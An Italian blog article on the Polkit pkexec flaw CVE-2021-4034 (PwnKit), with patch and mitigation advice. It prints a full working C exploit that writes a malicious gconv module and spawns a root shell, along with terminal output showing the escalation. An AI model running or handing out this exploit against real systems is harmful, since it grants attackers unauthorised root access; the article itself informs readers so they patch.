Un bug di Polkit mette a rischio la sicurezza delle maggiori distribuzioni Linux.

0

Martedì è stata un’altra doccia fredda per i team di sicurezza. Dopo aver visto un 2021 tutt’altro che noioso sotto questo punto di vista, ecco una nuova vulnerabilità rimasta silente per ben 12 anni e che ha impattato tutte le maggiori distribuzioni Linux: CVE-2021-4034, chiamata PwnKit.

PwnKit, riguarda nel dettaglio il programma pkexec, facente parte del componente Polkit (PolicyKit). Polkit è un componente presente nella maggior parte delle distribuzioni Linux e fa parte della costellazione di elementi che gestiscono globalmente i permessi nel sistema. Esso incorpora diversi tool fra cui troviamo anche l’eseguibile pkexec, il quale permette di lanciare un altro programma con privilegi elevati.

Lo scorso Novembre è stato scoperto quindi che proprio pkexec presentava una vulnerabilià di corruzione della memoria sin dalla sua creazione (nel lontano 2009) affliggendo quindi tutte le versioni di Polkit conosciute fino ad oggi. La vulnerabilità tuttavia è stata pubblicata solamente l’altro ieri, dopo che i ricercatori dell’azienda di cybersecurity Qualys hanno reso pubbliche le patch risolutive per la maggior parte delle distribuzioni affette.

La ricerca pubblicata da Qualys descrive dettagliatamente sia la vulnerabilità, che una POC per testarne la riproducibilità. Di seguito un estratto:

this out-of-bounds write allows us to re-introduce an “unsecure” environment variable (for example, LD_PRELOAD) into pkexec’s environment; these “unsecure” variables are normally removed (by ld.so) from the environment of SUID programs before the main() function is called.

Questa scrittura “fuori dai limiti” ci permette di re-introdurre variabili d’ambiente “non sicure” (ad es. LD_PRELOAD), nell’ambiente di pkexec; queste variabili “non sicure” vengono normalmente rimosse (da ld.so) dall’ambiente dei programmi SUID prima dell’esecuzione della funzione main().

Da quanto si è visto quindi l’utilizzo dell’exploit in questione è altrettanto semplice quanto efficace:

  • Sfruttando la corruzione della memoria, questa vulnerabilità dovrebbe essere indipendente dal tipo di architettura e quindi applicabile anche a distribuzioni per Arm, PowerPC, ecc…
  • Essendo PolKit una componente presente su svariati sistemi Unix-Like (*BSD, Solaris, ecc…) è possibile che PwnKit possa essere sfruttato anche su OS “non Linux”.

Volete sapere se ne siete affetti?, create un file con questo contenuto:

/*
                    
 * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
 * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell = 
  "#include <stdio.h>\n"
  "#include <stdlib.h>\n"
  "#include <unistd.h>\n\n"
  "void gconv() {}\n"
  "void gconv_init() {\n"
  "  setuid(0); setgid(0);\n"
  "  seteuid(0); setegid(0);\n"
  "  system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
  "  exit(0);\n"
  "}";
int main(int argc, char *argv[]) {
  FILE *fp;
  system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
  system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
  fp = fopen("pwnkit/pwnkit.c", "w");
  fprintf(fp, "%s", shell);
  fclose(fp);
  system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
  char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
  execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

Dopodiché compilatelo, in questo modo:

> gcc pkexec.c -o pkexec-exploit

A questo punto, dopo aver verificato che siate un utente non privilegiato:

rasca@catastrofe [~]> id
uid=1000(rasca) gid=1000(rasca) groups=1000(rasca),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),119(lpadmin),130(lxd),131(sambashare),134(docker),136(libvirt),998(bumblebee)

Lanciate l’eseguibile ed osservate il risultato:

rasca@catastrofe [~]> ./pkexec-exploit 
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),119(lpadmin),130(lxd),131(sambashare),134(docker),136(libvirt),998(bumblebee),1000(rasca)

Pauroso eh?

Fortunatamente come detto tutte le maggiori distribuzioni, le quali sono impattate tutte indistintamente dal problema, hanno già fornito le patch del caso.

Nello sciagurato caso in cui la patch per la vostra distribuzione non sia disponibile però non disperate, resta possibile mitigare temporaneamente la vulnerabilità, modificando i permessi di pkexec:

> chmod 0755 /usr/bin/pkexec

Buon patching!

Programmatore, amministratore di sistema e un appassionato del mondo Unix, ho iniziato ad utilizzare Linux da bambino perchè Windows “si bloccava” e da quel momento non ho usato altro. Con il tempo mi sono appassionato alla programmazione C e alla filosofie cardine del mondo Unix.

Sempre alla ricerca di qualcosa che possa stimolare la mia curiosità cerco di condividere quello che ho acquisito grazie ad essa.

Da sempre appassionato del mondo open-source e di Linux nel 2009 ho fondato il portale Mia Mamma Usa Linux! per condividere articoli, notizie ed in generale tutto quello che riguarda il mondo del pinguino, con particolare attenzione alle tematiche di interoperabilità, HA e cloud.
E, sì, mia mamma usa Linux dal 2009.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *